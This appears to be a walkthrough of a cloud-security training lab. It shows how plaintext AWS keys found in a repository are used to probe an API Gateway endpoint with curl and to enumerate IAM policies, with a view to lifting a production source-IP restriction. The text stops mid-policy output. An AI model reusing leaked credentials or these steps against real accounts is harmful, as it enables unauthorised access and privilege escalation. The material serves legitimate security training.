&lt;p&gt;As part of a red team engagement, we have gained access to several AWS CodeCommit repositories. In one of the repositories we found hardcoded AWS access keys and a development API endpoint. Can you use this to compromise more than the development environment, and help increase our access?&lt;/p&gt;
&lt;h2 id=&#34;learning-outcomes&#34;&gt;Learning Outcomes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Understanding of the Amazon API Gateway service&lt;/li&gt;
&lt;li&gt;Understanding of API security and how to approach it&lt;/li&gt;
&lt;li&gt;Making changes to resource policies and deploying new configurations&lt;/li&gt;
&lt;li&gt;IAM policy enumeration&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;real-world-context&#34;&gt;Real World Context&lt;/h2&gt;
&lt;p&gt;An API (Application Programming Interface) gateway is a key part of modern software stacks. Acting like a middleman between users and the backend systems, it serves as a single entry point to handle and protect access to various APIs. Being able to assess API security by exploiting vulnerabilities, misconfigurations and exposures, and learning how to prevent making these mistakes are very important skills for penetration testers, software engineers and DevOps professionals alike.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><a href="https://pwnedlabs.io/labs/bypass-restrictions-in-api-gateway">Bypass Restrictions in API Gateway</a></p>
<h2 id="scenario">Scenario</h2>
<p>As part of a red team engagement, we have gained access to several AWS CodeCommit repositories. In one of the repositories we found hardcoded AWS access keys and a development API endpoint. Can you use this to compromise more than the development environment, and help increase our access?</p>
<h2 id="learning-outcomes">Learning Outcomes</h2>
<ul>
<li>Understanding of the Amazon API Gateway service</li>
<li>Understanding of API security and how to approach it</li>
<li>Making changes to resource policies and deploying new configurations</li>
<li>IAM policy enumeration</li>
</ul>
<h2 id="real-world-context">Real World Context</h2>
<p>An API (Application Programming Interface) gateway is a key part of modern software stacks. Acting like a middleman between users and the backend systems, it serves as a single entry point to handle and protect access to various APIs. Being able to assess API security by exploiting vulnerabilities, misconfigurations and exposures, and learning how to prevent making these mistakes are very important skills for penetration testers, software engineers and DevOps professionals alike.</p>
<p>Amazon API Gateway is a comprehensive service from AWS that allows the creation, deployment, and management of APIs at scale. It provides functionalities like transforming requests and responses, managing access through authorization, controlling request rates (throttling), and integrating seamlessly with AWS services (i.e. Lambda).</p>
<h2 id="entry-point">Entry Point</h2>
<p>Dev API URL: <a href="https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/dev">https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/dev</a> <br>
Access Key:  AKIA2JCFAHDRB3L3OE3P <br>
Secret Key:  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</p>
<hr>
<h2 id="attack">Attack</h2>
<p>We know that this is an API Endpoint just by looking at the URL so first things, lets see what we get back with a normal <code>curl</code> request</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/dev
</span></span><span style="display:flex;"><span>HTTP/2 <span style="color:#ae81ff">405</span>
</span></span><span style="display:flex;"><span>content-type: application/json
</span></span><span style="display:flex;"><span>content-length: <span style="color:#ae81ff">32</span>
</span></span><span style="display:flex;"><span>date: Fri, <span style="color:#ae81ff">05</span> Jul <span style="color:#ae81ff">2024</span> 01:41:04 GMT
</span></span><span style="display:flex;"><span>x-amzn-requestid: 3abff5eb-a62b-4192-99fa-981e71d63fc2
</span></span><span style="display:flex;"><span>x-amz-apigw-id: aalPrHvdvHcED5g<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>x-cache: Error from cloudfront
</span></span><span style="display:flex;"><span>via: 1.1 7e377c623bb77c8cf576d7c7b5debcf2.cloudfront.net <span style="color:#f92672">(</span>CloudFront<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>x-amz-cf-pop: KUL50-P1
</span></span><span style="display:flex;"><span>x-amz-cf-id: WirPqhVonN0gxkXKGf30ejNr004iw18sg3I01aBbW8jmZfoTli7GWQ<span style="color:#f92672">==</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span><span style="color:#e6db74">&#34;message&#34;</span>:<span style="color:#e6db74">&#34;Method Not Allowed&#34;</span><span style="color:#f92672">}</span>% 
</span></span></code></pre></div><p>This gives us a 405 Status Code telling us &ldquo;Method Not Allowed&rdquo;, so the next logical step would be to try using the POST Method</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/dev -X POST
</span></span><span style="display:flex;"><span>HTTP/2 <span style="color:#ae81ff">405</span>
</span></span><span style="display:flex;"><span>content-type: application/json
</span></span><span style="display:flex;"><span>content-length: <span style="color:#ae81ff">32</span>
</span></span><span style="display:flex;"><span>date: Fri, <span style="color:#ae81ff">05</span> Jul <span style="color:#ae81ff">2024</span> 01:42:37 GMT
</span></span><span style="display:flex;"><span>x-amzn-requestid: e10a80ba-ba4b-4a22-8f33-dd1218df66ad
</span></span><span style="display:flex;"><span>x-amz-apigw-id: aaleGEJrvHcEaWw<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>x-cache: Error from cloudfront
</span></span><span style="display:flex;"><span>via: 1.1 ce0975dbd9e02d51d684d78fec086bea.cloudfront.net <span style="color:#f92672">(</span>CloudFront<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>x-amz-cf-pop: KUL50-P1
</span></span><span style="display:flex;"><span>x-amz-cf-id: G1pXVyfjsfVy0ob7O3xF-Dc884u0exy8dsUC3WoqLLFd83ntfl-ceA<span style="color:#f92672">==</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span><span style="color:#e6db74">&#34;message&#34;</span>:<span style="color:#e6db74">&#34;Method Not Allowed&#34;</span><span style="color:#f92672">}</span>% 
</span></span></code></pre></div><p>This also returns a 405 error, so we can try all the other methods manually or try OPTIONS</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/dev -X OPTIONS
</span></span><span style="display:flex;"><span>HTTP/2 <span style="color:#ae81ff">200</span>
</span></span><span style="display:flex;"><span>content-type: application/json
</span></span><span style="display:flex;"><span>content-length: <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>date: Fri, <span style="color:#ae81ff">05</span> Jul <span style="color:#ae81ff">2024</span> 01:42:51 GMT
</span></span><span style="display:flex;"><span>x-amzn-requestid: a59c6d29-d2f4-4665-8cec-e4a6fcb9f2a7
</span></span><span style="display:flex;"><span>access-control-allow-origin: *
</span></span><span style="display:flex;"><span>access-control-allow-headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key,X-Amz-Security-Token,X-Amz-User-Agent
</span></span><span style="display:flex;"><span>x-amz-apigw-id: aalgSE6zvHcEV9A<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>access-control-allow-methods: PATCH, OPTIONS
</span></span><span style="display:flex;"><span>x-cache: Miss from cloudfront
</span></span><span style="display:flex;"><span>via: 1.1 6a98c19531a35c06dca95806ad705bd0.cloudfront.net <span style="color:#f92672">(</span>CloudFront<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>x-amz-cf-pop: KUL50-P1
</span></span><span style="display:flex;"><span>x-amz-cf-id: Bx503JVPqfXpbXfcWZsCSy7pV6gg3p9pdDiMSf-ENELdvjeYhLOx8g<span style="color:#f92672">==</span>
</span></span></code></pre></div><p>We can see that there are two allowed methods, being OPTIONS and PATCH. The PATCH method is used to apply partial modifications and is beneficial for performance and bandwidth.  Lets see what we get back when we pass in that method.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/dev -X PATCH
</span></span><span style="display:flex;"><span>HTTP/2 <span style="color:#ae81ff">500</span>
</span></span><span style="display:flex;"><span>content-type: application/json
</span></span><span style="display:flex;"><span>content-length: <span style="color:#ae81ff">239</span>
</span></span><span style="display:flex;"><span>date: Fri, <span style="color:#ae81ff">05</span> Jul <span style="color:#ae81ff">2024</span> 01:56:47 GMT
</span></span><span style="display:flex;"><span>x-amzn-requestid: 14a3cce2-0f7e-41f9-b3cf-f1f229186fba
</span></span><span style="display:flex;"><span>x-amz-apigw-id: aanjBFA9vHcEA-A<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>x-cache: Error from cloudfront
</span></span><span style="display:flex;"><span>via: 1.1 6a98c19531a35c06dca95806ad705bd0.cloudfront.net <span style="color:#f92672">(</span>CloudFront<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>x-amz-cf-pop: KUL50-P1
</span></span><span style="display:flex;"><span>x-amz-cf-id: 8CrnnL1yajxTUbtu5w7htlVqGTnFs30t0J6bISXdqrkBxrU4gNuIgw<span style="color:#f92672">==</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span><span style="color:#e6db74">&#34;status&#34;</span>:500,<span style="color:#e6db74">&#34;error&#34;</span>:<span style="color:#e6db74">&#34;Dev Environment Misconfiguration&#34;</span>,<span style="color:#e6db74">&#34;message&#34;</span>:<span style="color:#e6db74">&#34;The development environment is currently unavailable due to unexpected maintenance. Our team is actively working to restore service. Please try your request again later.&#34;</span><span style="color:#f92672">}</span>%
</span></span></code></pre></div><p>Based on the above error message, this would imply that there could be other typical environments such as uat, oat, staging, pre-prod and prod for example.  We will wee what we get it we try a couple of these</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/staging
</span></span><span style="display:flex;"><span>HTTP/2 <span style="color:#ae81ff">403</span>
</span></span><span style="display:flex;"><span>content-type: application/json
</span></span><span style="display:flex;"><span>content-length: <span style="color:#ae81ff">42</span>
</span></span><span style="display:flex;"><span>date: Fri, <span style="color:#ae81ff">05</span> Jul <span style="color:#ae81ff">2024</span> 02:04:04 GMT
</span></span><span style="display:flex;"><span>x-amzn-requestid: ca31070f-5bd8-47c0-a327-41247e288f14
</span></span><span style="display:flex;"><span>x-amzn-errortype: MissingAuthenticationTokenException
</span></span><span style="display:flex;"><span>x-amz-apigw-id: aaonPHOwPHcEWLA<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>x-cache: Error from cloudfront
</span></span><span style="display:flex;"><span>via: 1.1 ce0975dbd9e02d51d684d78fec086bea.cloudfront.net <span style="color:#f92672">(</span>CloudFront<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>x-amz-cf-pop: KUL50-P1
</span></span><span style="display:flex;"><span>x-amz-cf-id: Xuey3XpWIpjZDk7ewBOBUPQJinooI0Vm4AA7mWnqmX-VxxKohrPXbg<span style="color:#f92672">==</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span><span style="color:#e6db74">&#34;message&#34;</span>:<span style="color:#e6db74">&#34;Missing Authentication Token&#34;</span><span style="color:#f92672">}</span>% 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ curl -i https://dyte6595bf.execute-api.us-west-2.amazonaws.com/api/prod
</span></span><span style="display:flex;"><span>HTTP/2 <span style="color:#ae81ff">403</span>
</span></span><span style="display:flex;"><span>content-type: application/json
</span></span><span style="display:flex;"><span>content-length: <span style="color:#ae81ff">158</span>
</span></span><span style="display:flex;"><span>date: Fri, <span style="color:#ae81ff">05</span> Jul <span style="color:#ae81ff">2024</span> 01:58:26 GMT
</span></span><span style="display:flex;"><span>x-amzn-requestid: 11367aa2-7340-42f8-9fe7-17eabf7ccd43
</span></span><span style="display:flex;"><span>x-amzn-errortype: AccessDeniedException
</span></span><span style="display:flex;"><span>x-amz-apigw-id: aanyZFUBvHcEMxw<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>x-cache: Error from cloudfront
</span></span><span style="display:flex;"><span>via: 1.1 05f394b31d2ed09cc806a0e6ce51c116.cloudfront.net <span style="color:#f92672">(</span>CloudFront<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>x-amz-cf-pop: KUL50-P1
</span></span><span style="display:flex;"><span>x-amz-cf-id: ISdUGWNivbPMNFmWglenJkfINHPWbVjDdAplBsTEHfF-GVBewWpudQ<span style="color:#f92672">==</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span><span style="color:#e6db74">&#34;Message&#34;</span>:<span style="color:#e6db74">&#34;User: anonymous is not authorized to perform: execute-api:Invoke on resource: arn:aws:execute-api:us-west-2:********8242:dyte6595bf/api/GET/prod&#34;</span><span style="color:#f92672">}</span>% 
</span></span></code></pre></div><p>We get a Missing Authentication Token for all environments, except for Production which gives a different message.  Doing some searching on the message, we find this <a href="https://www.wolfe.id.au/2023/11/12/avoid-accidental-exposure-of-authenticated-amazon-api-gateway-resources/">article</a> which indicates that this is related to default authentication being disabled, and the resource policy enabled.</p>
<p>As we have credentials, we shall configure our AWS CLI and verify that they are working.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester configure
</span></span><span style="display:flex;"><span>AWS Access Key ID <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: AKIA2JCFAHDRB3L3OE3P
</span></span><span style="display:flex;"><span>AWS Secret Access Key <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: tnx6n60GmkZiZKJmwCx0xrJt5b6h5K3Ks7shKcxi
</span></span><span style="display:flex;"><span>Default region name <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: us-west-2
</span></span><span style="display:flex;"><span>Default output format <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile pentester sts get-caller-identity
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;UserId&#34;</span>: <span style="color:#e6db74">&#34;AIDA2JCFAHDRGXV64L6KA&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Account&#34;</span>: <span style="color:#e6db74">&#34;706666838242&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::706666838242:user/staging_eng&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We shall now see if the <code>staging_eng</code> account is able to list REST API&rsquo;s</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester apigateway get-rest-apis
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;items&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;id&#34;</span>: <span style="color:#e6db74">&#34;dyte6595bf&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;APIGatewayDev&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;description&#34;</span>: <span style="color:#e6db74">&#34;API prototype for new service&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;createdDate&#34;</span>: <span style="color:#e6db74">&#34;2024-07-05T09:23:02+08:00&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;apiKeySource&#34;</span>: <span style="color:#e6db74">&#34;HEADER&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;endpointConfiguration&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;types&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;EDGE&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;policy&#34;</span>: <span style="color:#e6db74">&#34;{\\\&#34;Version\\\&#34;:\\\&#34;2012-10-17\\\&#34;,\\\&#34;Statement\\\&#34;:[{\\\&#34;Effect\\\&#34;:\\\&#34;Allow\\\&#34;,\\\&#34;Principal\\\&#34;:\\\&#34;*\\\&#34;,\\\&#34;Action\\\&#34;:\\\&#34;execute-api:Invoke\\\&#34;,\\\&#34;Resource\\\&#34;:\\\&#34;arn:aws:execute-api:us-west-2:706666838242:dyte6595bf\\/*\\/GET\\/prod\\\&#34;,\\\&#34;Condition\\\&#34;:{\\\&#34;IpAddress\\\&#34;:{\\\&#34;aws:SourceIp\\\&#34;:\\\&#34;172.16.5.10\\\&#34;}}},{\\\&#34;Effect\\\&#34;:\\\&#34;Allow\\\&#34;,\\\&#34;Principal\\\&#34;:\\\&#34;*\\\&#34;,\\\&#34;Action\\\&#34;:\\\&#34;execute-api:Invoke\\\&#34;,\\\&#34;Resource\\\&#34;:\\\&#34;arn:aws:execute-api:us-west-2:706666838242:dyte6595bf\\/*\\/*\\/dev\\\&#34;}]}&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;disableExecuteApiEndpoint&#34;</span>: false,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;rootResourceId&#34;</span>: <span style="color:#e6db74">&#34;h6cibto12i&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Lets make the policy section a little easier to read and we can then see that the policy applied to the production environment has a SourceIP restriction</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester apigateway get-rest-apis | jq -r <span style="color:#e6db74">&#39;.items[].policy&#39;</span> | sed <span style="color:#e6db74">&#39;s/\\//g&#39;</span> | jq .
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;Statement&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Principal&#34;</span>: <span style="color:#e6db74">&#34;*&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;execute-api:Invoke&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/GET/prod&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Condition&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;IpAddress&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;aws:SourceIp&#34;</span>: <span style="color:#e6db74">&#34;172.16.5.10&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Principal&#34;</span>: <span style="color:#e6db74">&#34;*&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;execute-api:Invoke&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:execute-api:us-west-2:706666838242:dyte6595bf/*/*/dev&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>The logical step that we would want to take is to find a way to remove the Source IP address restriction and we will have to enumerate further to see if we have the permission to do so.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester iam list-attached-user-policies --user-name staging_eng
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AttachedPolicies&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;staging_engineer_policy&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;PolicyArn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::706666838242:policy/staging_engineer_policy&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We have a single policy attached which we will further enumerate</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester iam get-policy --policy-arn arn:aws:iam::706666838242:policy/staging_engineer_policy
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Policy&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;staging_engineer_policy&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PolicyId&#34;</span>: <span style="color:#e6db74">&#34;ANPA2JCFAHDROF6ZQY76U&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::706666838242:policy/staging_engineer_policy&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;DefaultVersionId&#34;</span>: <span style="color:#e6db74">&#34;v1&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AttachmentCount&#34;</span>: 1,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PermissionsBoundaryUsageCount&#34;</span>: 0,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;IsAttachable&#34;</span>: true,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Description&#34;</span>: <span style="color:#e6db74">&#34;Policy staging engineer account&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;2024-07-05T01:23:02+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;UpdateDate&#34;</span>: <span style="color:#e6db74">&#34;2024-07-05T01:23:02+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Tags&#34;</span>: <span style="color:#f92672">[]</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We can see that this is Version 1, so lets get the details</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester iam get-policy-version --policy-arn arn:aws:iam::706666838242:policy/staging_engineer_policy --version-id v1
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;PolicyVersion&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Document&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Statement&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;apigateway:POST&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:apigateway:us-west-2::/restapis/*/deployments&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;apigateway:GET&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;apigateway:PATCH&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;arn:aws:apigateway:us-west-2::/restapis&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;arn:aws:apigateway:us-west-2::/restapis/*&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;apigateway:UpdateRestApiPolicy&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:apigateway:us-west-2::/restapis/*&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;iam:GetPolicy&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;iam:GetPolicyVersion&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;iam:ListAttachedUserPolicies&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;*&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>
